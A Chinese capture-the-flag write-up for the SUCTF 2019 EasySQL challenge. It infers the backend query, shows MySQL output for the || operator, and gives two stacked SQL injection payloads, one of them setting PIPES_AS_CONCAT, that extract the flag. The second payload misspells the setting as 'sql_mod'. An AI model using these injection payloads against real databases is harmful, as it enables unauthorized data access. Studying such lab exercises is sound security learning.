首页 > 数据库 >[SUCTF 2019]EasySQL 1

[SUCTF 2019]EasySQL 1

时间:2022-09-05 12:45:59浏览次数:41  
标签:SUCTF set EasySQL flag 2019 mysql sec +-------------+ select

这个题目搞了我好久,由于本人基础不扎实,试了好多方法,只发现有三种情况
Nonono、无返回结果和有返回
然后使用了新学习的堆叠注入,得到了数据库名和表名


想要查看Flag表的字段内容也查看不了


这里我就无计可施了,到底是怎么回事?
观看了大佬的WP,原来是这样
根据猜解,后端的语句是

select $_POST['query'] || flag from Flag;

所以一切的原理就出啦了

mysql> select 0 || 'flag';
+-------------+
| 0 || 'flag' |
+-------------+
|           0 |
+-------------+
1 row in set, 1 warning (0.00 sec)

mysql> select 1 || 'flag';
+-------------+
| 1 || 'flag' |
+-------------+
|           1 |
+-------------+
1 row in set (0.00 sec)

mysql> select 2 || 'flag';
+-------------+
| 2 || 'flag' |
+-------------+
|           1 |
+-------------+
1 row in set (0.00 sec)

mysql> select 'a' || 'flag';
+---------------+
| 'a' || 'flag' |
+---------------+
|             0 |
+---------------+
1 row in set, 2 warnings (0.00 sec)

所以这里只有数字和flag或(or、||)运算才可以返回真,才会有返回结果
那么Nonono就是我们传入的关键字被过滤了,这样都理解了。
那么如何绕过这个注入,才是关键。

方法一:

payload

1;select *,1
和SQL语句拼接后
select *,1 || flag from Flag

1和flag的结果是1,然后语句就成为了
select *,1 from Flag*是数据库全部内容的意思,所以得到flag
flag{2231a903-6115-4dcc-8c0f-3d6086b54819}

方法二

大佬给出了一个关键的MySQL配置sql_mod

SQL_MOD:是MySQL支持的基本语法、校验规则
其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。

mysql> set sql_mode=PIPES_AS_CONCAT;
Query OK, 0 rows affected (0.00 sec)

mysql>
mysql> select 1 || 'flag';
+-------------+
| 1 || 'flag' |
+-------------+
| 1flag       |
+-------------+
1 row in set (0.00 sec)

mysql> select 'a' || 'flag';
+---------------+
| 'a' || 'flag' |
+---------------+
| aflag         |
+---------------+
1 row in set (0.00 sec)

所以只需要更改SQL_mod配置,然后随便查询一个值就可以得到flag
payload:

1;set sql_mod=PIPES_AS_CONCAT;select 1

标签:SUCTF,set,EasySQL,flag,2019,mysql,sec,+-------------+,select
From: https://www.cnblogs.com/Junglezt/p/16657688.html

相关文章